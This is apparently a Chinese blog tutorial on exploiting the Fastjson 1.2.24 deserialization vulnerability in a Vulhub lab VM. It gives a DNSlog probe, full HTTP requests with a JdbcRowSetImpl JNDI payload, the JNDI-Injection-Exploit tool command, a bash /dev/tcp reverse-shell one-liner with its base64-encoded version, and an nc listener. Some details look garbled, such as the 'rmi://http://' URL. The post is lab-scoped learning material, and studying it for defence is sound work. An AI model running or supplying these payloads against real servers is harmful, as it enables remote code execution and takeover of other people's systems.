渗透测试-Fastjson反序列化漏洞getshell

目录

前言

测试环境准备

dnslog测试

搭建rmi服务器&准备恶意类

引用JdbcRowSetImpl攻击

[反弹shell命令执行](#反弹shell命令执行)

总结


关键字:fastjson 1.2.24反序列化导致任意命令执行漏洞

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。

前言

最原始的需求是将字符串传参解析成json格式的数据 ,但json库不满足现有的功能(很多包都有这样的特点,妙用之法)还支持把字符串解析成javabean;在解析成jacabean的时候内部一些get方法可能被调用。且Fastjson 库还可以通过 @type 注解自动推断出对象对应的具体类型,从而正确地将 JSON 字符串转换成 Java 对象。

示例、

java 复制代码
 String jsonString = "{\"@type\":\"json.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        JSONObject jsonObject = JSON.parseObject(jsonString);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getClass());

输出

然而在实际测试中,我发现不同的java类,fastjson库对其的处理方式还不同,就拿java.net.Inet4Address 这个类举例,{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} fastjson最终会调用java.net.Inet4Address类中getByName方法 ,而且传入的host就是val这个dnslog地址。

既然可以指定任意类实例化,而内部某些get方法可以调用,参数还控。 那这就可能引发一些安全上的问题。

本次测试利用fastjson反序列化漏洞,让目标主机执行命令反弹shell。

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络攻击他人服务器。

测试环境准备

本次以来采用容器平台Vulhub,到Ubuntu虚拟机中vulhub/fastjson/1.2.24-rce目录中执行命令启动漏洞容器:docker-compose up-d

访问站点

dnslog测试

像这个服务以post的方式,打一个dnslog。payload准备:

dnslog:{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

Content-Type: application/json //注意这个头要加上

请求内容payload 参考

POST / HTTP/1.1

Host: 192.168.218.134:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/json

Content-Length: 77

{"a":{"@type":"java.net.Inet4Address","val":"f6ac1ab5b7.ipv6.1433.eu.org.."}}

搭建rmi服务器&准备恶意类

1.本次采用JNDI-Injection-Exploit工具,直接一把梭哈。(下载地址:我也是在网上找到的)

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "xxxxxxxxxxxxxxxxxxxxxxxxxx" -A "192.168.218.1"

-C指定让目标主机执行的命令,-A为指定本地监听的IP

2.准备要执行的反弹shell命令

bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1

在实际的测试中,这条命令始终不成功无法反弹shell。我猜测可能在传输过程中有些字符被转码了。

解决方案:使用base64解码后以bash的方式执行。

将bash -i >& /dev/tcp/192.168.218.1/4444 0>&1 这样的命令base64编码放到下面的位置

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

在将这个命令被JNDI-Injection-Exploit工具 -C指定,生成rmi服务器。

3.nc在本机上监听4444端口,等待反弹shell的连接

引用JdbcRowSetImpl攻击

将生成rmi服务的地址放入到payload:dataSourceName值中

POST / HTTP/1.1

Host: 192.168.218.134:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/json

Content-Length: 77

{

"a":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://http://192.168.218.1:1099/nc78zv",

"autoCommit":true

}

}

把请求包打过去,观察JNDI-Injection-Exploit工具输出的信息

和预期的一直,当服务器请求这个rmi服务时,rmi会返回一个恶意类的网络路径。之后服务器请求这个路径下载试图实例化这个恶意类。log a request to http:......

反弹shell$命令执行

这时查看我们的nc是否反弹了shell

是否可以执行命令

总结

点点关注,纯手写。

相关推荐
Csvn21 分钟前
diff 算法(虚拟 DOM Reconciliation)
前端
雷焰财经29 分钟前
AI开始学会“越界”:当智能体拥有行动能力,人工智能的竞争已经进入安全深水区
人工智能·安全
知行EDI1 小时前
知行之桥 MaBang 端口使用指南——Create Order 订单创建篇
java·服务器·数据库
成旭先生1 小时前
【2026】企业信息模糊查询 API 实战:名称、注册号、统一社会信用代码、企业类型与法人一次查全
服务器·数据库·数据服务
在猴站学算法1 小时前
(SQL注入学习)无回显的报错注入(Error-Based)
学习·网络安全·sql注入·ctf竞赛
前端snow1 小时前
ai agent --- 文件存储
前端
Frag0ut1 小时前
Chrome四大版本获取及共存指南:Stable/Beta/Dev/Canary
前端·chrome·浏览器·dev·beta·canary·共存版
殷色玫瑰2 小时前
C/C++ 内存管理详解:从内存分布到 new/delete 底层原理
java·linux·c语言·c++
sogw-三叶草️2 小时前
House of Orange
网络安全·pwn·堆·二进制安全
山岚的运维笔记3 小时前
ComfyUI NVIDIA安装教程:官方便携版下载+run_nvidia_gpu.bat启动,8G显存Windows实操
运维·服务器·windows·笔记·prompt·aigc·comfyui